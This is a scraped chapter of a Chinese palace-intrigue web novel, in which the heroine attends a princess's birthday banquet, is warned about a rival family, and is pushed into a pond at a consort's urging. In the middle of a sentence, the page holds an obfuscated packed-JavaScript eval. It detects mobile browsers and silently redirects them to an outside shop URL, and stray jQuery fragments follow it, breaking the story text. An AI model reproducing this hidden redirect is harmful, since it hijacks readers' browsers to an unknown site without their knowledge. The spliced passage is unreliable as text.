文趣网 > 都市小说 > 墨染柠霜 > 53. 长公主生辰宴(上)
    “主子,傅姑娘真的会穿那件衣裳吗?”茶白问道。

    宋墨潇喝着茶说道:“不会。”

    茶白不解,宋墨潇便解释道:“所以那件衣服的确是长公主所赠。”

    真正给傅兮柠做好的衣裳并不是昨日那件,他似乎早有预料傅兮柠一定不会穿那件招摇的衣服来,所以骗了她。

    茶白还是不解,可今日的确如宋墨潇所说一样,傅兮柠没有穿那件衣服。

    “酥酥,你听说没,昨日西街的悦香楼死了好多人。”严乐瑶说道,“真没想到那么大的酒楼竟然会闹出人命。”

    傅兮柠走路动作一顿,她不知悦香楼昨晚之事,有些愣住,而后问道:“此事,如何处理的?”

    “大理寺卿明日应该是要受罚了,我听爹爹说昨日太子对他们发了好大的火,死了好多姑娘。”严乐瑶不禁身子发抖,“说是因为大理寺失职,才惨死这么多条人命。”

    听严乐瑶描述,昨夜的悦香楼死了很多舞姬和小厮,而且还查到悦香楼违反德武王朝律法,私下私自贩卖人口,贪污钱财,关键是昨晚出事时,还发现有好几个朝廷官员在那赌博。

    只是因为大理寺晚到,让不少人逍遥法外,连杀人凶手都没抓到,给大理寺的案子几乎一个都没办妥,圣上定会大怒。

    可责罚又有何用?那些人命也回不来了。

    长公主特地让傅兮柠和严乐瑶早点来,说是买了些礼品带给她们。

    “参见长公主。”

    “快来看,我前几日买得首饰,你们应该会喜欢。”宋慕源拉着她俩来到她的梳妆台。

    入眼的是整排的赤金发簪。

    记得曾听说过长公主素来偏爱极致张扬华贵的物件,寻常素雅清淡的她连看都懒得看一眼,如今看此传言的确是真的。

    宋慕源今日穿了件艳红色由上好的云绫锦制成的华裙,一头乌发,满头珠翠层层堆叠,还缠着赤金的凤凰发簪,耳畔垂着金珠耳坠,整个人亮得刺眼。

    宋慕源给严乐瑶插着发簪,细心打扮一番,而后十分满意地点头:“好看,一会见阿威定会迷了他的眼。”

    宋慕源笑着说,在她心里,严乐瑶绝对是准弟媳,她比任何人都要了解宋奇威,喜欢从来不会说,不争不抢,长这么大也就严乐瑶能让宋奇威收敛脾气。

    傅兮柠在一旁笑着夸赞,的确金发饰衬得严乐瑶端庄许多。

    “今日宴席,小心谨慎。”宋慕源嘱咐着,“所有妃嫔皇子都会来,莫要得罪她们。”

    严乐瑶之前见过,自是懂这句话,只是傅兮柠没见过她们,便问道:“应先注意何人?”

    “琪妃。”宋慕源说道,“你在琪妃面前可莫要说与太子相熟,不然定会引火烧身。”

    二皇子与太子争锋好斗,只是宋墨潇从不把宋辰放在眼中,更别说琪妃。

    “还有一个远妃。”宋慕源语气带着不服,“这远妃如今身受圣上宠爱,如同妖妃一般不知给圣上下了什么蛊,手段要比琪妃狠,切忌远离为好。”

    傅兮柠点头,这远妃她之前到是听过,至于琪妃,右相之女,倒没接触过。

    今日太傅府只有小辈前来,傅文傅武自是会去男眷席,不能时刻陪着傅兮柠,处处行为都是太傅府的颜面,来之前苏荟嘱咐多遍,一定要表现端庄大气,礼貌懂事。

    “对了,不是说远妃的亲戚也住在宫中吗?”严乐瑶之前听宋奇威说过,江家人入住宫中,每日都要去烦宋墨潇,“是不是今日他们也会来?”

    “嗯。”宋慕源开始给傅兮柠打扮,说道,“这远妃有意想要让她那个外甥成为太子妃,简直就是荒谬至极。”

    “这不纯纯异想天开,觉得自己儿子太子无望,便让外甥女来代替。”严乐瑶摇头,“宋墨潇绝对不会同意这幢婚事。”

    “若是圣上同意赐婚呢?”傅兮柠说道,“即使太子不同意,也是无用功。”

    两人听完傅兮柠的话,都沉默了。

    的确如此,即使宋墨潇再怎么厉害,还抵不过圣旨。

    宋慕源看着傅兮柠这精致的脸蛋,思考片刻试探问道:“兮柠,你觉得太子如何?”

    傅兮柠思考很长时间都没回答上这个问题。

    她的确从未想过宋墨潇在自己心中是个什么样的人。

    每次见他,也只是将他看做一个陌生又熟悉的故人,甚至连朋友都算不上,可他好像每次都在暗中帮助自己,为何他要如此?自己好像不值得他这般做。

    傅兮柠暗想着,而后只是粗略回答:“太子,是个好人吧。”

    宋慕源听到这个回答,不禁皱眉:“你们认识这么长时间,好歹也用个像样点的词来形容吧?”

    严乐瑶打断她们的话:“不过若是宋墨潇能赶在圣上前先斩后奏,那太子妃之位自是他自己说得算。”

    宋慕源点头,理是这么个理,只是实在没见过哪个女子能和宋墨潇聊上几句天的。

    除了傅兮柠。

    ……

    宫宴开始前,严乐瑶被长姐严乐薇叫走,长公主要和圣上一起前来,便也去准备,只有傅兮柠和知夏闲来无事,便在公主府闲逛。

    “姑娘,为何感觉你今日闷闷不乐的?”知夏见傅兮柠一副心事忡忡的样子,担忧地问道。

    或许是昨晚她梦到悦香楼与自己交谈的那位舞姬惨死,或许是凶手逃脱,或许是梦到自己落入水中,一个身影游向她。

    昨夜做得梦太碎,导致头有些痛,她摇着头,正想说没事,却被迎面走来的江倩打断。

    “傅兮柠?”江倩十分意外地看着面前的人,“你怎么会在这?”

    江倩并不知傅兮柠是太傅之女,宫中这种地方能看到她真是稀奇。

    傅兮柠停住脚步,两人都有些意外,亦都未行礼。

    “好巧。”傅兮柠淡淡开口。

    “今日长公主生辰宴,你为何会在此?”江倩又问道。

    傅兮柠本没打算解释,却听到祁宴的声音:“傅姑娘,好巧。”

    傅兮柠回头,祁宴今日穿了件墨青色衣裳,显得整个人端庄许多,他先是看了眼傅兮柠,而后将视线落在了江倩身上,点头问好:“江姑娘也在。”

    江倩听远妃说过,祁家是自己人,之前见过一面,只是江倩并不觉得祁宴靠谱,略略扫过一眼,而后看向傅兮柠:“你们认识?”

    “认识。”祁宴替傅兮柠回答,“我与傅姑娘算是旧相识。”

    傅兮柠有些意外地看向他,明明就见过几面,就算得上旧相识?此人未必也太自来熟。

    “我在问她,没问你。”江倩语气有些傲慢,似乎是懒得再像之前那般讨好傅兮柠,如今身居宫中的是她,傅兮柠只是低人一等,不必再像以前那样对傅兮柠,江倩是这般想得,亦是这样做的。

    “赵先生离开江南,是不是有你的份?”江倩问道。

    傅兮柠知道赵涔离开江南,二人也经常写信来往,亦听楚然说过此事,只是她不知为何江倩会这样认为,傅兮柠摇头:“你想多了。”

    江倩没再说什么,礼都不行得走了。

    祁宴眼神犀利看着江倩离开的身影,握紧了拳头。

    傅兮柠注意到他的动作,只是默默站在一旁。

    远妃托举左相,那么祁宴自是要听江家的话,还是远离比较好,傅兮柠想到这,便对祁宴行礼:“宴席快要开始,若是祁公子没什么事,我便先走了。”

    “傅姑娘留步。”祁宴表情缓和不少,语气也软下来,叫住傅兮柠。

    “祁公子有何事?”

    “你与江倩认识?”

    傅兮柠点头。

    “离她远点。”祁宴表情认真许多。

    这句话倒是让傅兮柠有些意外,他这是在提醒她?为何要这么做?

    “我不懂祁公子这句话何意味?”

    祁宴看着比自己矮一个头的傅兮柠,皱眉说道:“以傅姑娘的聪慧,你明白我的意思。江倩没有表面那么好,江家亦是如此。你远离,不会有坏处。”

    傅兮柠笑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709431|206500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑,收敛了些原本懵懂的表情,语气也郑重许多:“祁公子为何要提醒我这些?左相与太傅好像关系没有好到这种地步。”

    祁宴还是第一次见这样的傅兮柠,有些愣神和意外。

    “祁公子的好意,会让我误会你在试探我。”傅兮柠直直盯着祁宴,“你与我之间,还是保持些距离为好。”

    祁宴被傅兮柠看着到有些心虚,心跳不受控制地跳动飞快,他看不透面前的女子,一直觉得就是个软柿子,他知道祁彤总是针对这个傅兮柠,脸的确有些姿色,就是脾气太软。

    而如今看来,并不是。

    至于傅兮柠为何只想远离祁宴,一则是她知道祁宴在纵容祁彤欺负自己,在傅兮柠眼中,祁宴只是的装好人的伪君子,二则左相与太傅属于对立,三则祁宴心思难让人捉摸透,她不想浪费时间在这种人身上。

    傅兮柠行礼:“宴席马上开始,恕我先行一步。”

    她说完,头也不回地往前走。

    只留祁宴一人站在原地发愣。

    这是他第一次见到傅兮柠的另一面,或者说,这一面,才是真正的傅兮柠。

    自己都没意识到嘴角在上扬,只觉得此人,有意思。

    傅兮柠快步准备走回宴席,又撞见一个妃子坐在轿子上扇着扇子,整个人看上去懒洋洋地,视线落在远处的傅兮柠身上,看清脸后,表情有些意外。

    傅兮柠并不认识这是何人,便敷衍行礼。

    江圆圆看着面前的丫头仪态端庄,长得也水灵,便让下人停下脚步,问着面前的傅兮柠:“你是何人?”

    “傅兮柠。”

    江圆圆想起曾听宋国富提起过此人,说长相出众,让人过目不忘,说太傅养了个好女儿,原来就是此人。

    远妃江圆圆打量傅兮柠许久,视线落在远处的祁宴身上,对视刹那,远妃笑了一下,让傅兮柠跪下行礼,而后语气带着些轻慢:“见到本宫,跪下行礼,你父亲没教过你嘛?”

    傅兮柠听后跪下:“是臣女之过,一时没有认出。”只是傅兮柠到现在也不知面前的妃子到底是哪一位。

    这句话倒让远妃有些恼火:“本宫如此端庄大气,你敢说没认出?好大的胆子,来人,给我掌嘴!”

    “且慢。”女声从身后传来,是祁彤。

    祁彤先是看向祁宴,说了句:“兄长,真是让我好找。”而后走上前,给远妃行礼。

    “臣女参见远妃。”祁彤与远妃见过多次,自是了解远妃的性子,而后说道,“这太傅之女实在是蠢笨不堪,掌嘴也只会脏了远妃娘娘的手,不如将其交给臣女如何?”

    远妃听后没什么表情:“交给你又如何?”

    “臣女定会狠狠责罚傅姑娘,替远妃出气,这样既不会脏了您的手,又解气。”祁彤说道。

    “好啊,交给你便是。”远妃看着祁彤,“莫要浪费本宫时间。”

    祁彤走向傅兮柠身边,祁宴想要上前阻止,但与远妃对视上后,便顿住脚步。

    祁彤扯着傅兮柠的衣领,伸手想要扇她的脸,傅兮柠反握住祁彤的胳膊,阻止她的动作。

    远妃冷笑:“还不服气啊?”

    祁彤也来了气,便扯着傅兮柠的头发,傅兮柠自是回击,就这样争斗片刻,祁彤看向后面的深水池,便推了傅兮柠一把。

    傅兮柠脚一滑,身子一歪,整个人便直直栽进深水池中。

    池水瞬间裹住四肢,口鼻猛地呛进一大口水,窒息感扼住喉咙。

    傅兮柠本就半点水性不通,手脚胡乱扑腾,指尖徒劳抓着滑腻的水面,越是挣扎,身子越往下沉。

    知夏急得直叫唤着,却被远妃的下人给牢牢固定住。

    祁宴皱眉,一脸担忧地看着落水的傅兮柠,本迈出一步,远妃注意到他的动作,便警告道:“祁公子啊,此事与你无关。”

    祁宴定在原地。

    “太傅之女脚滑落水,殒命也与各位无关。”远妃看向祁彤,“做得好,祁姑娘,这出戏,本宫爱看。”